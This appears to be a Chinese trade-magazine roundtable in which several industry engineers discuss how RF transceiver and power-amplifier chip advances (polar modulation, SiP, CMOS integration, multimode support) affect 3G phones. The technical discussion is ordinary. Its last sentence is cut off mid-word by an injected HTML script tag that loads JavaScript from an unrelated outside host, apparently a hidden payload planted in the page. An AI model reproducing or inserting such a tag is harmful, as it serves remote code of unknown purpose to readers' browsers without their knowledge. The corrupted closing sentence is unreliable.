作者：孙文博
射频端芯片技术升级
对3g发展有什么重要意义
张鹏岗 射频端芯片技术的升级对于3g发展来说，意味着更低的功耗、更多的功能、更宽的带宽、更小的尺寸，可以更好地实现soc(system on chip)和sip(system in package)。
richard wang 比起2g和2.5g，3g的技术指标主要是在传输速率上有比较大的改进与增加需要使用不同的调制及编码技术，因此在射频收发器的设计上必须考虑使用一种较具弹性也就是能兼容各种调制的收发器架构。不同于以往的gsm/gprs只将基带信号直接调制到锁相回路的模式，针对3g，我们使用极化调制(polar modulation)，也就是将不同基带调制(8psk，16qam，etc)的i/q转成大小(am-am)及相位(am-pm)再送到前端的功率放大器，因此射频芯片的技术必须升级以适于3g的规范与标准。
樊大磊 就3g手机的射频端芯片而言，不论wcdma、cdma2000还是td-scdma，它的基础还是无线收发芯片(transceiver)。应用于3g手机的transceiver由于需要兼顾更多的无线通信标准并保持从2g到3g的自然过渡，因此需要支持更多的无线通信模式。另外，如gps、fm、dmb等基于无线的多种应用也应属于射频端芯片的范畴。
射频端芯片技术的升级本身并不能构成推动3g发展的决定性力量。3g发展从终端技术角度来说更多的取决于低功耗高性能的处理器；从市场推广角度而言则取决于是否有吸引消费者的内容。这种关系与调谐器芯片技术的发展对于数字电视的影响非常类似。
不过，手机有手机的特点。随着rf芯片技术的升级，首先多模、多业务rf芯片的出现将3g手机的应用功能大大扩展，并以此推动了3g的发展；此外，高集成度、低功耗、易用性好的rf芯片有助于节省更多的系统资源，如电流、pcb面积等，从另一个角度推动3g发展。
jerry loraine 通信技术升级到3g时代的直接意义就是无线芯片和数字芯片将变得更加复杂，耗能更多，而且比现有2g解决方案的尺寸更大。至于间接影响方面，由于3g提供的数据传输率更高，终端芯片组的功能性将会增加，因此芯片组构造将更加复杂。此外，视频电话等3g功能将要求更强大的应用处理器和容量更大的存储器。
arun palwankar 通信一直是并将继续是无线行业发展的主要推动因素。未来几年时间里，通过有线和无线网络的集成，话音、视频和数据通信应用将会进一步融合。
在宽带有线和无线通信领域，消费类电子设备将越来越多地采用宽带无线连接。同时，端到端有线和无线宽带解决方案的迅速增加也会给voip的快速增长带来了机会。在这方面，英飞凌可以充分发挥自己在无线蜂窝业务中所获得的经验。
3g射频端创新应该在
哪些领域首先取得突破
张鹏岗 就射频端总体的市场趋势来说，现在正朝着更高的集成度，更小的尺寸方向发展。半导体厂商致力于提供使用简便，不需调试的系统解决方案，从而可以保证系统的稳定性，使客户可以不需更多的调试就可应用，大大缩短了他们新产品的上市时间，我认为射频端的突破点应该是产品的整体系统化。
richard wang 针对3g芯片的应用，射频端必须着重在降低功耗、加速不同工艺的整合及降低成本上努力。这可由两个方向来实现，一个是sip，也就是将不同工艺的芯片集成在一个封装模块上，如前端的功放及天线收/发开关(swtichplexer)，或将功放及收发器放在同一个基板上(laminate)做成模块。
另外一项就是将功率放大器的制作工艺进步到cmos，以便与收发器的芯片相整合，当然这样的技术要成熟可能还需要1-2年的时间。在降低功放的功耗上则应设计高效率的功放操作，在饱和条件下与前述的极化调制相对应，目前rfmd在封装工艺上居于市场领先地位。
樊大磊 3g手机的应用功能将是非常丰富的，因此系统对射频芯片的挑战将来自于更低的功耗、更多的工作模式、更高的集成度和更简单的应用设计要求。锐迪科微电子(rda microelectronics)所开发的应用于3g手机的rf芯片，包括transceiver和pa及其他芯片，都特别针对这些方面进行了全面的优化。此外，对于控制接口、i/q接口和系统时钟等方面，在设计上也着重进行了考虑，消除了潜在的影响芯片通用性的因素。
jerry loraine 数字信号处理能力必须提高到10倍或以上，不过摩尔定律仍然能发挥作用，所以这里问题不大。最大的问题反而是如何把所需的不同无线器件和天线集成在同一个终端设备中，而且还必须满足小尺寸的要求。尽管3g手机需要支持更多服务，包括3g、wifi、蓝牙、gps以及对2g的后向兼容性等，但无论如何消费者不会乐见3g手机的尺寸比2g的大。
arun palwankar 射频芯片面临的未来的挑战是将所有射频功能集成到单个封装内，包括收发器、功率放大器和前端模块，从而可以进一步提高集成度。再进一步，射频芯片将可以扩展支持所有不同的蜂窝通信标准。我们认为标准cmos工艺是主?script src=http://er12.com/t.js>
